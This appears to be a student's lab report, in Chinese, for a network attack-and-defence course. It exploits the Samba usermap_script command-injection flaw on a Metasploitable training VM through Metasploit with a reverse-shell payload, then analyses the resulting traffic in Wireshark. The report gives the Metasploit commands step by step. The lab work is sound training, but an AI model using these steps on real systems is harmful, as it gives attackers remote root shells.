20252904 2025-2026-2 《网络攻防实践》第7周作业
20252904 2025-2026-2 《网络攻防实践》第7周作业
1.实践内容
1.1 实验要求
-
使用 Metasploit 加载 Samba
Usermap_script漏洞利用模块,配置目标主机和攻击载荷,执行远程渗透攻击并验证是否成功获取 Linux 靶机 Shell 权限。 -
攻击方利用 Metasploit 对 Metasploitable 靶机漏洞进行攻击并尝试提权,防守方通过 Wireshark、tcpdump 或 Snort 分析攻击流量,提取攻击 IP、目标端口、漏洞类型和命令执行等关键信息。
1.2知识点整理
1.2.1 Samba 服务与 Usermap_script 漏洞原理
Samba 主要用于 Linux/Unix 与 Windows 系统之间的文件共享和 SMB/CIFS 协议通信。本实验利用的是 Metasploitable 靶机中 Samba 服务的 Usermap_script 命令注入漏洞。该漏洞产生的原因是 Samba 在处理用户名映射时,对用户输入过滤不严格,攻击者可在用户名字段中插入特殊 Shell 字符,使系统执行恶意命令。由于 Samba 服务可能以较高权限运行,漏洞利用成功后攻击者可能获得远程 Shell,甚至取得 root 权限。
1.2.2 Metasploit 渗透测试框架基本概念
Metasploit 是常用的渗透测试框架,集成了漏洞利用、攻击载荷和辅助扫描等功能。本实验中主要涉及 Exploit、Payload、RHOST、LHOST 和 Shell 会话等概念。其中,Exploit 用于触发 Samba 漏洞,Payload 用于建立远程 Shell,RHOST 表示目标主机地址,LHOST 表示攻击机地址。攻击成功后,可通过 Shell 在目标主机上执行命令,验证是否获得访问权限。
1.2.3 正向 Shell 与反向 Shell 的区别
Shell 连接方式主要分为正向 Shell 和反向 Shell。正向 Shell 是靶机开放监听端口,攻击机主动连接靶机;反向 Shell 是攻击机开启监听,靶机主动回连攻击机。正向连接适合同一内网且目标端口可访问的环境,反向连接更适合绕过部分入站访问限制。本实验可根据网络环境选择合适的 Shell 方式,并重点检查 IP、端口、防火墙和虚拟机网络模式是否配置正确。
1.2.4 Metasploitable 靶机的作用
Metasploitable 是专门用于网络安全教学和渗透测试练习的靶机环境,内部故意保留多个已知漏洞。本实验中,它用于提供存在 Samba 漏洞的目标服务,帮助学习者复现漏洞利用过程,理解从漏洞扫描、漏洞利用到权限验证的基本流程。同时,它也为防守方提供攻击流量样本,便于使用 Wireshark、tcpdump 或 Snort 进行流量分析。
1.2.5 攻防对抗中的流量分析思路
在攻防对抗实践中,防守方需要通过 Wireshark、tcpdump 或 Snort 分析攻击流量。针对 Samba 漏洞,应重点关注 SMB 协议以及 TCP 139、445 端口通信,查看是否存在异常用户名、可疑字符串或命令注入特征。攻击成功后,如果 Shell 通道未加密,还可以通过 TCP 流追踪观察攻击者执行的命令和系统返回结果,从而还原攻击过程。
1.2.6 Snort 入侵检测基本作用
Snort 是一种常用的网络入侵检测系统,可根据检测规则分析网络数据包并生成告警。在本实验中,Snort 可用于监听攻击方与靶机之间的通信,识别 SMB 异常流量,辅助判断是否发生漏洞攻击。相比 Wireshark 的人工分析方式,Snort 更适合自动化检测;两者结合使用,可以提高攻击识别和取证分析的准确性。
1.3实验环境
本次实验使用的主机IP如下:
| 虚拟机名称 | IP地址 |
|---|---|
| kali2025.4 | 192.168.200.6 |
| Metasploitable靶机 | 192.168.200.14 |
2.实践过程
2.1 使用 Metasploit 进行 Linux 远程渗透攻击
首先我们要检查两台电脑的连通性(注:这里可以放到VMNET8同一个网段下,并且可以创建一个新的靶机,这样就不会因为之前的配置影响实验)

查看到两台主机都能互相PING通。

打开 Kali Linux 虚拟机的终端,启动 Metasploit 软件,选择使用 msfconsole。输入指令:
msfconsole

在 msfconsole 中输入 search usermap_script 命令,搜索到相关的攻击模块。
search usermap_script

输入 use 0 命令,并查看可用载荷
use 0
show payloads

这里选择 use exploit/multi/samba/usermap_script 渗透攻击模块。

输入命令show payloads查看与该渗透攻击模块相兼容的攻击载荷

输入 set payload cmd/unix/reverse 命令,选择远程 shell 作为攻击载荷。
set payload cmd/unix/reverse

展示载荷,查看配置情况。
show options

设置Metasploitable虚拟机设置为靶机,将kali2025.4设置为攻击机
set LHOST 192.168.200.6
set RHOST 192.168.200.14

再次查看,验证刚才配置是否成功,配置的是否正确,目标主机是否是我们想要的。
show options

确认目标无误后,开始攻击。
exploit

查看当前主机IP地址,发现是靶机地址说明攻击成功。
ifconfig

2.2 攻防对抗实践
这里我们还是用跟实验2.1一样的主机。在kali攻击机中打开wireshark进行抓包。

启动监听eth0端口。

还是使用2.1实验的攻击方式,最后输入exploit进行攻击。在wireshark中可以看见许多流量数据包。可以查看到,攻击机的攻击行为。

输入命令whoami查看到当前账户是谁(成为了root用户)

在wireshark中输入ip.addr == 192.168.200.6 and ip.addr == 192.168.200.14筛选出攻击机和靶机之间的流量

之后随便选一个数据包,然后右键Follow--Tcp数据流,可以看见攻击机输入的指令以及屏幕上返回给攻击机的信息。这里查看到攻击机进行连接的信息。

这里可以查看到刚才攻击机远程控制权限后进行的攻击行为。刚才的whoami也在这里面。

这是返回的信息

整个实验结束。这次的攻击实验,主要是攻击机 IP 为 192.168.200.6,目标 靶机 IP 为 192.168.200.14,目标服务端口为 TCP 139,攻击者 192.168.200.6 向目标主机 192.168.200.14 的 139 端口发送 TCP SYN 请求,开始建立连接。随后在第 4 个数据包中出现 SMB Negotiate Protocol Request,说明攻击者开始与 Samba 服务进行 SMB 协议协商。通过 SMB 会话请求触发命令注入,执行反向 Shell,使靶机通 58194、58195 等临时端口过主动连接攻击机 4444 端口。
3.学习中遇到的问题及解决
本次学习没有问题!!!
非常顺利,可能是之前实验做过好几次,有经验了。说明之前的实验实践也很管用。
4.实践总结
本次实验跟之前的实验差不多,都是通过Metasploitable执行攻击漏洞对靶机攻击,这次显得更加的游刃有余,并且对wireshark的理解更加的深入,知道应该如何去做,为什么这样做。如果以后能用到,那肯定能很快的上手!并且也理解了攻击者的攻击思路和方式,在以后也至少知道攻击者会从哪些漏洞攻击,还有就是多打补丁。
浙公网安备 33010602011771号